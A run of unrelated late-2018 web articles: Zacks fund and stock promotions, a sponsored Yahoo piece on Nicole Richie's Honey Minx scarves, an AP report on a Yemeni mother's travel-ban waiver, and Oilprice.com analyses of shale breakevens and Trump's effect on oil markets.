5-year beta of 1.12, so investors should note that it is hypothetically more volatile than the market at large. Alpha is an additional metric to take into consideration, since it represents a portfolio's performance on a risk-adjusted basis relative to a benchmark, which in this case, is the S&P 500. Over the past 5 years, the fund has a negative alpha of -2.63. This means that managers in this portfolio find it difficult to pick securities that generate better-than-benchmark returns. Holdings Examining the equity holdings of a mutual fund is also a valuable exercise. This can show us how the manager is applying their stated methodology, as well as if there are any inherent biases in their approach. For this particular fund, the focus is largely on equities that are traded in the United States. The mutual fund currently has 97.96% of its holdings in stocks, with an average market capitalization of $239.70 billion. The fund has the heaviest exposure to the following market sectors: Technology Retail Trade Finance Turnover is about 45.48%, so those in charge of the fund make fewer trades than comparable funds. Expenses As competition heats up in the mutual fund market, costs become increasingly important. Compared to its otherwise identical counterpart, a low-cost product will be an outperformer, all other things being equal. Thus, taking a closer look at cost-related metrics is vital for investors. In terms of fees, EKJFX is a no load fund. It has an expense ratio of 0.71% compared to the category average of 1.10%. EKJFX is actually cheaper than its peers when you consider factors like cost. While the minimum initial investment for the product is $0, investors should also note that there is no minimum for each subsequent investment. Bottom Line Overall, Wells Fargo Premier Large Company Growth R6 ( EKJFX ) has a high Zacks Mutual Fund rank, and in conjunction with its comparatively weak performance, average downside risk, and lower fees, this fund looks like a great potential choice for investors right now. For additional information on the Large Cap Growth area of the mutual fund world, make sure to check out www.zacks.com/funds/mutual-funds. There, you can see more about the ranking process, and dive even deeper into EKJFX too for additional information. If you are more of a stock investor, make sure to also check out our Zacks Rank, and our full suite of tools we have available for novice and professional investors alike. Want the latest recommendations from Zacks Investment Research? Today, you can download 7 Best Stocks for the Next 30 Days. Click to get this free report Get Your Free (EKJFX): Fund Analysis Report To read this article on Zacks.com click here. As a style icon and accessory aficionado, Nicole Richie wears many hats er, we mean scarves. Her new lifestyle collection, Honey Minx, which is available on WorkingSundays.com, showcases one of her fashion must-haves: a stunning scarf that gives a tired outfit an instant boost. Whether you wrap it around your hair (bye bye bedhead), sling it around your shoulders, or, as Richie expertly demonstrates in the video above, toss it over a white blouse to disguise a red wine stain, a scarf belongs in your closet and, of course, makes a perfect holiday present. Scarves add layers to any outfit, which is a must for me. They are special, personal and perfect for gifting, as it makes a person feel like you were thinking of them, says Richie. They will save your life this holiday season. We couldnt agree more, because a scarf is both gorgeously personal and utterly versatile. Or, wait for it Richie suggests that you tie one around your handbag. Which is why a scarf is Richies go-to fashion accent. Does everybody need a silk scarf? Yes, they do. she proclaims. So for neckwear newbies, Richie has some tips for selecting the right one for you or, for a friend, parent, teacher or just about anyone. Im somebody who gravitates towards colours and prints. I love a contrast print, she says. I think when youre picking anything, honestly though, its all about feel. What do you gravitate toward? This article was paid for by Working Sundays, the parent company of Honey Minx, and created by Yahoo. Prices on the Honey Minx website are in USD but can be converted to GBP. The editorial department of Yahoo did not participate in the creation of this content. About Honey Minx Inspired by her love of California, Nicole Richies new lifestyle collection, Honey Minx, integrates Nicoles passion for living her true self and expressing creativity through fashion and beauty. This collection highlights her love of eclectic pieces and soothing textures and celebrates the energy that we are given by the sun. Story continues Nicoles iconic style is translated into a full range of beauty and fashion designs, including bohemian-styled jewellery, gem-infused essential oils, dream-inducing sleepwear, luxurious skincare and, of course, accessories. Never known to shy away from something a little wild, Nicole has artfully blended her unique expression of beauty, healthy living and L.A.s laid-back artistic fashion with the ultimate in cosy luxury and style. Honey Minx is available on WorkingSundays.com. Follow us on Instagram and Facebook for non-stop inspiration delivered fresh to your feed, every day. For Twitter updates, follow @YahooStyleUK. As a style icon and accessory aficionado, Nicole Richie wears many hats er, we mean scarves. Her new lifestyle collection, Honey Minx, which is available on WorkingSundays.com, showcases one of her fashion must-haves: a stunning scarf that gives a tired outfit an instant boost. Whether you wrap it around your hair (bye bye bedhead), sling it around your shoulders, or, as Richie expertly demonstrates in the video above, toss it over a white blouse to disguise a red wine stain, a scarf belongs in your closet and, of course, makes a perfect holiday present. Scarves add layers to any outfit, which is a must for me. They are special, personal and perfect for gifting, as it makes a person feel like you were thinking of them, says Richie. They will save your life this holiday season. We couldnt agree more, because a scarf is both gorgeously personal and utterly versatile. These soft scarves evoke a casual elegance with their delicate prints and understated hues. Nicole wears Eternal Bloom Silk Scarf in midnight blue and blush, $58, Honey Minx. This is a small-size scarf, measuring 25.59 in. x 25.59 in. Youll soar with these colorful and chic floral scarves, inspired by wild butterflies. Eternal Butterfly Silk Scarf in sky blue, stone gray or pink (pictured on Nicole), $85, Honey Minx. This is a large-size scarf, measuring 34.6 in. x 34.6 in. Or, wait for it Richie suggests that you tie one around your handbag. Which is why a scarf is Richies go-to fashion accent. Does everybody need a silk scarf? Yes, they do. she proclaims. So for neckwear newbies, Richie has some tips for selecting the right one for you or, for a friend, parent, teacher or just about anyone. Im somebody who gravitates towards colors and prints. I love a contrast print, she says. I think when youre picking anything, honestly though, its all about feel. What do you gravitate toward? Shop more products featured in this episode: This lightweight satin camisole top and leggings offer long-wear comfort perfect for those nights spent curled up on the couch binge-watching your favorite show. Claudine Sleep Set in Pink Lava, $62, Honey Minx Story continues Dont blame us if you spend all day in bed in this ultra-comfy set, made from luxe satin. Jordan Sleep Set in teal floral or blue diamond (pictured), $68, Honey Minx Get seriously stylish shuteye with these soft, cooling, eye masks which help refresh your delicate eye area paired with silk pillowcases that help keep your hair tangle-free. Sleep Cocoon Silk Eye Mask & Pillowcase Set, set, in blush or chamomile, $98, Honey Minx This article was paid for by Working Sundays, the parent company of Honey Minx, and created by Yahoo Lifestyle. The editorial department of Yahoo Lifestyle did not participate in the creation of this content. About Honey Minx Inspired by her love of California, Nicole Richies new lifestyle collection, Honey Minx, integrates Nicoles passion for living her true self and expressing creativity through fashion and beauty. This collection highlights her love of eclectic pieces, soothing textures and celebrates the energy that we are given by the sun. Nicoles iconic style is translated into a full range of beauty and fashion designs, including bohemian-styled jewelry, gem-infused essential oils, dream-inducing sleepwear, luxurious skincare, and, of course, accessories. Never known to shy away from something a little wild, Nicole has artfully blended her unique expression of beauty, healthy living and L.A.s laid-back artistic fashion with the ultimate in cozy luxury and style. Honey Minx is available on WorkingSundays.com. SAN FRANCISCO (AP) A Yemeni mother cradled her 2-year-old son in her lap, pressing her face close to his and clasping his hand as a series of tubes kept his small body alive. Shaima Swileh touched the boy for the first time since winning a more than yearlong legal battle to overcome the Trump administration's travel ban and enter the U.S. to say goodbye to her dying child. A photograph released late Wednesday by the Council on American-Islamic Relations shows Swileh holding her son Abdullah at a hospital in Oakland where he is on life support. Swileh arrived that night at San Francisco International Airport after the advocacy group sued the U.S. to grant her waiver from the travel ban. She got it after a 17-month fight. Swileh, wearing dark glasses and a white headscarf, was mobbed by friends and reporters at the airport. "This is a difficult time for our family, but we are blessed to be together," the boy's father, Ali Hassan, said at the airport, asking for privacy. The couple was driven to see their son at UCSF Benioff Children's Hospital in Oakland, where Hassan brought Abdullah in the fall to get treatment for a genetic brain disorder. Hassan, a U.S. citizen who lives in Stockton, and Swileh moved to Egypt after marrying in war-torn Yemen in 2016 and had been trying to get a visa for Swileh since 2017 so the family could move to California. Citizens from Yemen and four other mostly Muslim countries, along with North Korea and Venezuela, are restricted from coming to the United States under the travel ban enacted under President Donald Trump. When the boy's health worsened, Hassan went ahead to California in October to get their son help. As the couple fought for a waiver, doctors put Abdullah on life support. "My wife is calling me every day wanting to kiss and hold her son for the one last time," Hassan said, choking up at a news conference this week. He started losing hope and was considering pulling his son off life support to end his suffering. But then a hospital social worker reached out to the Council on American-Islamic Relations, which sued Monday, said Basim Elkarra, executive director of the group in Sacramento. Story continues The State Department granted Swileh a waiver the next day. Department spokesman Robert Palladino called it "a very sad case, and our thoughts go out to this family at this time, at this trying time." He said he could not comment on the family's situation but that in general cases are handled individually, and U.S. officials try to facilitate legitimate travel to the United States while protecting national security. "These are not easy questions," Palladino said. "We've got a lot of foreign service officers deployed all over the world that are making these decisions on a daily basis, and they are trying very hard to do the right thing at all times." Immigration attorneys estimate tens of thousands of people have been affected by what they call blanket denials of visa applications under Trump's travel ban, which the U.S. Supreme Court upheld in a 5-4 ruling in June. The waiver provision allows a case-by-case exemption for people who can show entry to the U.S. is in the national interest, is needed to prevent undue hardship and would not pose a security risk. But a lawsuit filed in San Francisco says the administration is not honoring the waiver provision. The 36 plaintiffs include people who have had waiver applications denied or stalled despite chronic medical conditions, prolonged family separations or significant business interests. In addition to the waiver, the government gave Swileh a visa that will allow her to remain in the United States with her husband and begin a path toward citizenship, Elkarra said. ___ Associated Press Writer Julie Watson reported from San Diego. For Immediate Release Chicago, IL December 20, 2018 Zacks.com announces the list of stocks featured in the Analyst Blog. Every day the Zacks Equity Research analysts discuss the latest news and events impacting stocks and the financial markets. Stocks recently featured in the blog include: Altice USA, Inc. ATUS, Mobile TeleSystems PJSC MBT, PLDT Inc. PHI and Turkcell Iletisim Hizmetleri A.S. TKC. Here are highlights from Tuesdays Analyst Blog: These 4 Telecom Losers of 2018 Could Be Big Winners in 2019 As we ready ourselves to bid adieu to an eventful 2018, investors seek to review their portfolio to identify stocks that appear bruised and battered, but hold solid potential for a healthy ROI in 2019. Before we try to simulate this exercise ourselves for the telecom sector, let us delve a little deep into the overall performance of the outgoing year. A Roller-Coaster Ride! In the first half of 2018, the overall U.S. equity markets witnessed an uptrend as the Trump administration announced corporate tax cuts that boosted the cash flow and infused confidence for healthy capital investments. However, as the year progressed, the markets seemed to wipe out all the initial gains and went downhill in the second half due to a combination of several factors. These include volatility in oil prices, trade war with China, geopolitical conflict with North Korea and Iran, three interest hikes by Fed that make loans costlier for capital-intensive sectors, imposition of tariffs on various foreign countries to improve the U.S. balance of trade and a soft global economy. Consequently, sectors that were more exposed to the vagaries of the market, witnessed a roller-coaster ride and recorded an unconvincing performance in 2018. The telecom sector was one of the leading casualties of such an insipid feat by the market. Some telecom firms bore the brunt of the trade war with China, while the overall industry growth remained sluggish. As growing U.S. protectionism dampened investor sentiment and affected the supply chain, several stocks moved south. However, as both the warring countries aim to resolve their differences with a 90-day truce to the trade war and resume negotiations, these stocks look poised to benefit from the improving market fundamentals. Story continues Screening Stocks We have used the Zacks Stock Screener to identify some stocks from the telecom sector. These stocks have declined in excess of 20% in 2018, yet possess either a Zacks Rank #1 (Strong Buy) or 2 (Buy) and have a VGM Score of B or better for a likely healthy ROI in 2019. You can see the complete list of todays Zacks #1 Rank stocks here. 4 Possible Outperformers for 2019 Altice USA, Inc.: Based in Long Island City, NY, Altice is one of the largest broadband communications and video services providers in the United States. While the firm has evolved from predominantly a provider of voice services into a diverse, competitive and interconnected service provider using terrestrial, satellite and wireless transmission systems, high operating costs and significant investments for 5G push have contracted margins. Furthermore, a highly volatile geopolitical scenario has put pressure on the stability of the business and adversely affected the operating model, with the stock declining 18.1% year to date. However, Altice is on track with its five-year plan to build a FTTH (fiber-to-the-home) network and deploy its new home communications hub. The company believes that the FTTH network will be more resilient with reduced maintenance requirements, fewer service outages and lower power usage, which is likely to lead to further cost efficiencies. This network will allow Altice to satisfy demand for increasing speeds and support evolving technologies, such as the expected transition of mobile networks to 5G and enable it to capitalize on associated revenue-growth opportunities. Earnings for fiscal 2019 are likely to improve a colossal 967.9% year over year as the company rolls out enhanced data and services for its business customers. With a VGM Score of A, this Zacks Rank #1 stock seems a solid bet for 2019. Mobile TeleSystems PJSC: Headquartered in Moscow, Russia, this Zacks Rank #2 stock offers voice and data transmission, Internet access and various value-added services, including Big Data, Internet of Things, cloud, financial, and e-commerce services through wireless and fixed lines. The firm was exposed to intense sector volatility due to geopolitical tensions with Ukraine, Turkmenistan and Armenia. The stock has tanked 31.1% year to date. However, with a VGM Score of B and long-term earnings growth expectation of 10.4%, the stock looks set to script a turnaround in 2019. In addition, fiscal 2019 earnings are likely to improve a modest 15.3% year over year. PLDT Inc.: Based in Makati City, the Philippines, PLDT offers cellular mobile, Internet broadband distribution, solutions and systems integration, satellite communications, and satellite information and messaging services. High capital expenditure to extend network infrastructure for mobile connectivity and cut-throat competition has forced the company to lower prices, leading to soft ARPU. The stock has declined 30.1% year to date. However, with a VGM Score of B, this Zacks Rank #2 stock seems to be a promising bet for 2019 with a healthy dividend yield of 4.2%. While the United States is expected to maintain the momentum in LTE network growth over the near term, the major impetus is likely to come from the emerging markets. Governments in these countries are driving smart cities and IoT projects by providing financial aid and instituting preferential policies along with structural subsidies to boost next-generation high-speed broadband. Turkcell Iletisim Hizmetleri A.S.: Headquartered in Istanbul, Turkey, this Zacks Rank #2 stock provides mobile telecommunication services for consumer, corporate, and wholesale customers. The stock has plunged 44.6% year to date as Turkey was embroiled in a political tussle with United States. After the Trump administration imposed financial sanctions on two Turkish officials as fallout for the two-year detention of pastor Andrew Brunson, Lira fell drastically and impacted the stock. However, the relations between the two countries had thawed with the release of Brunson and the sanctions were lifted. The U.S. State Department has also notified Congress of a proposal to sell the Patriot air and missile defense system to this NATO ally, signaling a breakthrough in the relationship. With a VGM Score of B and a healthy dividend of 5.9%, this stock appears an enticing option for 2019. Moving Forward As the equity markets aim to shake off the demons of 2018 driven by a resilient economy, a sneak peek at some possible outperformers backed by a solid Zacks Rank and a healthy return could be a great idea for investors. These telecom stocks seem to hold great promise for the future and are likely to reward shareholders generously. In addition to the stocks discussed above, would you like to know about our 10 top tickers to buy and hold for the entirety of 2019? These 10 are painstakingly handpicked from over 4,000 companies covered by the Zacks Rank. They are our primary picks poised to outperform in the year ahead. Be among the first to see the new Zacks Top 10 Stocks >> Media Contact Zacks Investment Research 800-767-3771 ext. 9339 support@zacks.com https://www.zacks.com Past performance is no guarantee of future results. Inherent in any investment is the potential for loss. This material is being provided for informational purposes only and nothing herein constitutes investment, legal, accounting or tax advice, or a recommendation to buy, sell or hold a security. No recommendation or advice is being given as to whether any investment is suitable for a particular investor. It should not be assumed that any investments in securities, companies, sectors or markets identified and described were or will be profitable. All information is current as of the date of herein and is subject to change without notice. Any views or opinions expressed may not reflect those of the firm as a whole. Zacks Investment Research does not engage in investment banking, market making or asset management activities of any securities. These returns are from hypothetical portfolios consisting of stocks with Zacks Rank = 1 that were rebalanced monthly with zero transaction costs. These are not the returns of actual portfolios of stocks. The S&P 500 is an unmanaged index. Visit https://www.zacks.com/performance for information about the performance numbers displayed in this press release. Want the latest recommendations from Zacks Investment Research? Today, you can download 7 Best Stocks for the Next 30 Days. Click to get this free report PLDT Inc. (PHI) : Free Stock Analysis Report Turkcell Iletisim Hizmetleri AS (TKC) : Free Stock Analysis Report Mobile TeleSystems OJSC (MBT) : Free Stock Analysis Report Altice USA, Inc. (ATUS) : Free Stock Analysis Report To read this article on Zacks.com click here. Zacks Investment Research For Immediate Release Chicago, IL December 20, 2018 Zacks Market Edge is a podcast hosted weekly by cks Stock Strategist Tracey Ryniec. Every week, Tracey will be joined by guests to discuss the hottest investing topics in stocks, bonds and ETFs and how it impacts your life. To listen to the podcast, click here: Please use the Soundcloud link from this URL for the PR. Thanks: https://www.zacks.com/stock/news/343782/which-energy-stocks-are-insiders-buying-like-crazy) Which Energy Stocks Are Insiders Buying Like Crazy? Welcome to Episode #159 of the Zacks Market Edge Podcast. Every week, host and Zacks stock strategist, Tracey Ryniec, will be joined by guests to discuss the hottest investing topics in stocks, bonds and ETFs and how it impacts your life. In this episode, Tracey is going solo to discuss the oil plunge and the energy stocks. With the energy stocks down, in some cases, more than 50%, some insiders have rushed to buy the beaten down shares. Where should you be looking for energy deals? The most obvious place would be in the exploration and production companies, the E&Ps. These are the most sensitive to the move in crude prices. Theyve been sold off, so theyre likely to be the first to recover. Where Can You Find the Insider Buys? 1. Anyone can find the insider transactions on sec.gov. 2. Put in the ticker you are interested in in the company information box. 3. Then click on the insider transactions link. 4. It will give you a list of all the transactions, including the sells, awards, gifts and purchases. But Tracey has been running screens to find the best insider buys. Over the last few months some of the largest insider buys she has ever seen have occurred in the energy stocks. Are the Insiders Buying E&P Stocks? 1. Diamondback Energy FANG is one of the largest players in the Permian Basin. Shares are down over 30% year-to-date. But it hasnt seen any insider buying over the prior 2 months. Story continues 2. Pioneer Natural Resources PXD is also one of the other big Permian players. Shares are down just 22.6% but are at new 52-week lows. The insiders have been on the sidelines there too. 3. Berry Petroleum (BRY) is headquartered in California and focuses on the Western states. Two insiders bought shares in December, which have now fallen 32% year-to-date. Its trading with a forward P/E of just 7 and is paying a dividend currently yielding 4.6%. 4. Magnolia Oil & Gas MGY saw the CEO and the General Counsel both buy shares in Dec 2018 even though shares are only down 13% year-to-date. This company is new in 2018 so there isnt much share history though. 5. Parsley Energy PE drills in the Delaware and Midland Basins of the Permian. Three insiders bought shares in late November through early December. Shares have continued to sink, though, and are now down 47% year-to-date. It trades with a forward P/E of only 9.9. At some of the E&Ps, more than a dozen insiders have stepped in to buy in the last 2 months. This sends a powerful signal about the shares. Which E&Ps have seen the most buying? And what else should you know about the big insider cluster buys in the energy stocks? Tune into this weeks podcast to find out. Today's Stocks from Zacks' Hottest Strategies It's hard to believe, even for us at Zacks. But while the market gained +21.9% in 2017, our top stock-picking screens have returned +115.0%, +109.3%, +104.9%, +98.6%, and +67.1%. And this outperformance has not just been a recent phenomenon. Over the years it has been remarkably consistent. From 2000 - 2017, the composite yearly average gain for these strategies has beaten the market more than 19X over. Maybe even more remarkable is the fact that we're willing to share their latest stocks with you without cost or obligation. See Them Free>> Follow us on Twitter: https://twitter.com/zacksresearch Join us on Facebook: https://www.facebook.com/home.php#/pages/Zacks-Investment-Research/57553657748?ref=ts Zacks Investment Research is under common control with affiliated entities (including a broker-dealer and an investment adviser), which may engage in transactions involving the foregoing securities for the clients of such affiliates. Media Contact Zacks Investment Research 800-767-3771 ext. 9339 support@zacks.com https://www.zacks.com/performance Past performance is no guarantee of future results. Inherent in any investment is the potential for loss. This material is being provided for informational purposes only and nothing herein constitutes investment, legal, accounting or tax advice, or a recommendation to buy, sell or hold a security. No recommendation or advice is being given as to whether any investment is suitable for a particular investor. It should not be assumed that any investments in securities, companies, sectors or markets identified and described were or will be profitable. All information is current as of the date of herein and is subject to change without notice. Any views or opinions expressed may not reflect those of the firm as a whole. Zacks Investment Research does not engage in investment banking, market making or asset management activities of any securities. These returns are from hypothetical portfolios consisting of stocks with Zacks Rank = 1 that were rebalanced monthly with zero transaction costs. These are not the returns of actual portfolios of stocks. The S&P 500 is an unmanaged index. Visit https://www.zacks.com/performance for information about the performance numbers displayed in this press release. Want the latest recommendations from Zacks Investment Research? Today, you can download 7 Best Stocks for the Next 30 Days. Click to get this free report Parsley Energy, Inc. (PE) : Free Stock Analysis Report Diamondback Energy, Inc. (FANG) : Free Stock Analysis Report Pioneer Natural Resources Company (PXD) : Free Stock Analysis Report Magnolia Oil & Gas Corp (MGY) : Free Stock Analysis Report To read this article on Zacks.com click here. Zacks Investment Research Can the U.S. shale boom continue if WTI stays mired below $50 per barrel? Much has been made about the dramatic cost reductions that shale drillers have implemented over the past few years, with impressive breakeven prices that should ensure the drilling frenzy continues no matter where oil prices go. On earnings calls with investors and analysts, shale executives repeatedly trumpeted extremely low breakeven prices. However, those figures are at times cherry-picked or otherwise misleading. They fail to include the cost of land acquisition and other costs, or they simply reflect cost structures in only the very best acreage. The sudden meltdown in prices oil fell nearly 8 percent on Tuesday could put renewed scrutiny on the point at which many shale wells breakeven. The problem for a lot of companies is that they are not necessarily earning the full WTI price. Oil in West Texas in the Permian Basin continues to trade at a steep discount relative to WTI, even as the differential has narrowed in recent months. With WTI at roughly $47 or $48 per barrel, oil based in Midland is trading below $40 per barrel, the lowest point in more than two years, according to Bloomberg. Bloomberg NEF data provides more clues into the complex breakeven debate. Wells located in the Spraberry (within the Permian basin) can breakeven when prices trade between $32 and $47 per barrel. Digging deeper, Bloomberg NEF notes that some of the best wells can break even in the low $30s, but the worst quartile of wells breakeven at an average of $65.54 per barrel. In other words, a large portion of wells in the Permian which, to be clear, is often held up as the best shale basin in the world is currently unprofitable, given WTI priced in the high-$40s per barrel. The problem is even worse for areas outside of the Permian, where breakevens are on average much higher. Arguably only the very best wells in the Bakken, the Eagle Ford and the Niobrara are making money right now. That puts the heady production figures from the EIA for 2019 into doubt. The agency expects the U.S. to grow production by 1.2 million barrels per day (mb/d) in 2019, another very large annual increase. However, that growth is predicated on higher oil prices. If WTI remains around current levels (~$50/bbl), US growth should start to slow, Morgan Stanley analysts wrote in a recent note. There are some mitigating circumstances that could shield shale producers from the worst. Shale E&Ps routinely hedge their production for the year ahead. Just months ago, some of those hedges looked like a bad bet producers had locked in prices in the $50s or so for much of 2018, even as oil prices over the summer traded much higher than that. For instance, Anadarko Petroleum said it missed out on $298 million in revenue because it locked itself into hedges at price levels lower than the prevailing spot price. Related: The Race Is On: Big Oil Rushes To Supply The 1 Billion Disconnected On the other hand, for those that locked in sales for 2019 production in, say, the $60s per barrel, might feel pretty good about that right about now. To the extent a shale company has already secured hedging for 2019, they may not alter their drilling plans for next year all that much. Unfortunately for many, though, is the fact that the industry has held off on some hedging for next year, assuming prices could climb even higher. Producers have a lower proportion of their next 12 months oil production hedged for this time of year relative to the last few years, Morgan Stanley analysts said in a note. Another reason why supply might not actually be severely curtailed despite low prices is that shale companies could simply keep up their pace of drilling in 2019 and take on more debt, just as they did for so many years. The assumed production growth rate might not change all that much, even as balance sheets deteriorate. Related: Saudi Oil Minister: Crude Stocks Should Drop Very Soon Standard Chartered provides some more insight, with a look at the rate of well completions: We estimate that 374 completions per month are currently required in the Permian to offset declines. The number of Permian completions in November was 65 higher than the breakeven completion rate at 439, the investment bank wrote in a note. The number of completions would then have to fall about 17% before Permian output stopped growing. While we expect a slowdown in completions if the price of WTI in Midland, Texas were to remain close to the current USD 42/bbl, we would not expect a fall in completions large enough to halt net growth. Finally, sub-$50 oil might not be a huge problem if benchmark prices rebound in the relatively near future. Saudi oil minister Khalid al-Falih tried to reassure the market this week that we will not see a repeat of the 2014-2016 meltdown. We remain focused on fundamentals, I can tell you we will achieve balance between supply and demand in 2019, he told reporters. There will be enormous pressure on OPEC+ to extend the latest production cuts through the end of 2019. But the longer low prices stick around, the more significant the impact will be on production. If strip prices remain subdued into early 2019 at around $50 WTI, we would expect budgets to be set at levels that reduce the trend rate of growth, all else equal, which we would expect to become more noticeable by 2020, Morgan Stanley concluded. By Nick Cunningham of Oilprice.com More Top Reads From Oilprice.com: Aramco will ship the full volumes of crude contracted by Asian refiners in a bid to protect its market share in the biggest consuming region in the world ahead of production cuts that come into effect next month. S&P Global Platts quotes sources from the refining and oil trading sectors in Asia as confirming refiners will not be subjected to supply cuts like the United States. Last week Bloomberg reported Riyadh could reduce crude oil exports to the United States to the lowest in three decades. Whats more, after cutting its prices considerable, Aramco also supplied additional volumes to refiners and traders in Asia, highlighting its determination to keep the Asian market at all costs, even substantially lower revenues as oil prices remain low. One trader with a refiner in Northern Asia told S&P Global Platts "I do not think we will take any other type of crude if we can help it. The Saudi OSPs look too attractive this month," a trader with a North Asian refiner said. This means the Saudis have lowered their prices enough to compete with Iranian crude, which is saying something given Irans desperate need to keep its oil flowing abroad amid U.S. sanctions. However, Iran is not the only rival. Another trader told Platts "Despite OPEC cuts, they [Aramco] are properly looking after term customers in the East. [But the] US is a net exporter now. Those barrels have to go somewhere." The latest data on U.S. oil exports to Asia suggested an average daily rate of 1.1 million barrels. Thats up from an average 627,000 bpd a year earlier, S&P Global Platts reported. To compare, the November 2018 figure is close to the amount Saudi Arabia exports daily to China alone. However, the consistent growth in U.S. production could eventually become a bigger challenge for the Kingdom in the key Asian market. By Irina Slav for Oilprice.com More Top Reads From Oilprice.com: Donalds first risk was an increasingly hawkish stance towards Iran which looked to rip up the JCPOA and reimpose sanctions driving Iranian exports to 0 bpd. The threat of lost Iranian barrels was a critical driver of oil prices for the first eight months of the year as traders viewed the market as too thinly supplied. Remember that narrative? It seems like a distant memory, but it was only three months ago when nearly every piece of sell side research was mulling $100 Crude? Hedge funds piled into oil from the long side as they never have before and created a net long position of more than 1,000,000 contracts of NYMEX WTI and ICE Brent in anticipation. The risk was clear; Donald Trump has been a lifelong Iran hawk and he was The most influential person in oil markets this year was undoubtedly Donald Trump. He pushed markets both lower and higher with his policies and Twitter feed. The three risks he created drove prices for the year and may continue to do so as we begin 2019. 2018 was a year of surprises for oil. We began with most traders and commentators convinced that $100 crude was a very real risk and ended the year with a 30% market correction as supplies increased and demand concerns metastasized. Perhaps its fitting that the most influential person in oil markets this year wasnt an OPEC leader, hedge funder or Big Oil CEO but someone with a background in Real Estate and Reality Television who puts ketchup on his steak. 2018 was a year of surprises for oil. We began with most traders and commentators convinced that $100 crude was a very real risk and ended the year with a 30% market correction as supplies increased and demand concerns metastasized. Perhaps its fitting that the most influential person in oil markets this year wasnt an OPEC leader, hedge funder or Big Oil CEO but someone with a background in Real Estate and Reality Television who puts ketchup on his steak. The most influential person in oil markets this year was undoubtedly Donald Trump. He pushed markets both lower and higher with his policies and Twitter feed. The three risks he created drove prices for the year and may continue to do so as we begin 2019. Donalds first risk was an increasingly hawkish stance towards Iran which looked to rip up the JCPOA and reimpose sanctions driving Iranian exports to 0 bpd. The threat of lost Iranian barrels was a critical driver of oil prices for the first eight months of the year as traders viewed the market as too thinly supplied. Remember that narrative? It seems like a distant memory, but it was only three months ago when nearly every piece of sell side research was mulling $100 Crude? Hedge funds piled into oil from the long side as they never have before and created a net long position of more than 1,000,000 contracts of NYMEX WTI and ICE Brent in anticipation. The risk was clear; Donald Trump has been a lifelong Iran hawk and he was going to undo his predecessors driving oil into a bullish vortex. He gave his friends in Saudi Arabia a triple win in the form of higher prices, increased market share and isolating their key geopolitical foe and asked only that they help keep prices from getting out of control. The Saudi/Trump connection brings us to risk two. The Saudis were obviously happy to step in and take Irans market share as prices increased due to the lost production and held up their end of the bargain by pushing their production to more than 11m bpd. Meanwhile the Trump White House did not. The Trump administration ultimately granted full waivers to Irans eight largest crude buyers which sent crude oil from a soft, oversupplied market into a full-blown bearish tailspin. This event coincided with the MBS brutal killing of U.S. journalist Jamal Khashoggi and it was incredible to watch the two parties remain in lock step as public scrutiny of their coziness reached a fever pitch. Going forward, we think the Trump/Saudi relationship will remain strong despite the Trump hoodwink, the Khashoggi killing and the OPEC deal to ultimately cut production. Both parties have nowhere else to go for strategic partnership and will have to make do together at least for the near term. Trumps third risk was to preside over the continued trade spat between the US and China which is rolling global risk assets and has bond traders forecasting (via the yield curve) a major economic slowdown. In recent weeks the fears/disappointment that the two countries will fail to put their differences aside and get back to business have increased after the Trump/Xi meeting at the G20 summit produced a short-term truce but no major progress towards an economically positive deal. Global equities are offering warnings signs with S&Ps down about 6% YTD while the Shanghai Composite is down more than 20%. The effects on the oil market were obvious as headlines citing demand concerns and unimpressive crude and gasoline demand data kept a lid on prices throughout the year. We have a hunch that this trend may continue into 2019 as the global economic recovery matures and financial conditions tighten. Theres no question President Trump was the most influential person in oil markets in 2018 and it was largely to his benefit. US gasoline prices are low, markets are comfortably supplied and he gave his base of voters the type of Iran-anatagonizing they crave (despite the waivers.) Heading into 2019, however, were skeptical that the President will be able to shape crude oil dynamics in ways that are politically beneficial. Markets are growing tired of the US/China trade dispute and Saudi Arabia will make massive output cuts without fear of retribution from Washington. It may be difficult for Trump to make it through the year without a massive equity market selloff due to his trade disputes or a spike in gasoline prices due to his Iran/Saudi policies which ultimately triggered OPEC cuts. Beginning in January the President may do well to take his crude oil chips off the table and quit while hes ahead. Quick Hits- 2018 Review - Oil prices are set to end the year lower with Brent down about $7 since the start of the year to $60 while WTI has lost about $11 to move to $49. The year came in two parts with January - September showing strong gains as the Trump administrations plans to put sanctions on Iran exacerbated the narrative the market was too thinly supplied. Phase 2 of 2018 began in October when Trump- after convincing the Saudis to pump more crude to ease prices prior to Iranian sanctions- granted waivers to Irans largest crude buyers and the effect of the excess barrels was multiplied by consistent concerns that the global economic recovery is losing steam. - Brent crude ultimately dropped 31% from October 3rd to November 23rd to which OPEC+ responded with coordinated production cuts- led by the Saudis and Russia- to the tune of 1.2m bpd for the first 6 months of 2019. Prices were calm following the announcement suggesting that traders are interpreting the action as merely adequate. In the short term, we wont be surprised if OPEC+ feels compelled to extend the cut beyond the original term of prices remain soft. In the long term, the move seems to further cement that North American frackers have the strategic upper hand against the Saudis. - Speaking of frackers, US crude producers played a role in oversupplying which few predicted. US crude production hit 11.7m bpd in 2018 which is an incredible 2.4m bpd above their average effort in 2017. - Time spreads, like flat price, followed a bullish path through September moving aggressively into a backwardated structure. In October and November it all unraveled. The Brent 1-month / 6-month contract spread is currently trading 80 cents into contango which suggests to us that traders see the market as roughly in neutral for supply/demand dynamics in the near term. - Speculative flows played a massive role in the markets move this year with managed money pushing Brent to both its 2018-peak near $87 in October and its 2018-low of $57.50. Funds currently hold a combined net long position of NYMEX WTI + ICE Brent of 259k contracts representing a 75% drop since April and its lowest point since August 2015. - Oil markets have suffered a relentless flow of negative news in the last three months but the critical measure of just how loosely or tightly supplied we are Days of Cover suggests that the market is essentially in neutral. US crude stocks can currently serve 25.5 days of demand which is 1.1 days below its 5yr average. This suggests to us that crude markets could actually have some upside risk in 2019 should the macro picture brighten and/or supply risks become realized. - US crude stocks are right back in line with their 2017 giving OPEC+ virtually nothing to show for its last round of cuts. Total crude inventories currently stand at 441m bbls and increased by a total of 45m bbls in the fall and winter when seasonal norms call for inventory draws. - As for refined products, US gasoline inventories are higher y/y by about 0.5% while distillate stocks are lower y/y by about 3%. - On the demand side, US refiners consumed 16.95m bpd of crude in 2018 for a 350k bpd y/y improvement. On a more bearish note, US domestic gasoline consumption + exports improved by a meager 150k bpd to 10.1m bpd. Looking to 2019, were particularly concerned about the low margins available to US refiners in the gasoline market. US refiners are broadly making about $8-$10/bbl to produce gasoline right now which is unlikely to incentivize strong demand. - Macro downside risks were a highlight of 2018 as traders across markets feared an increased likelihood of a global recession. This seems likely to persist as a theme in 2019 as well. - Equities revealed the stress with S&Ps lower by about 6% 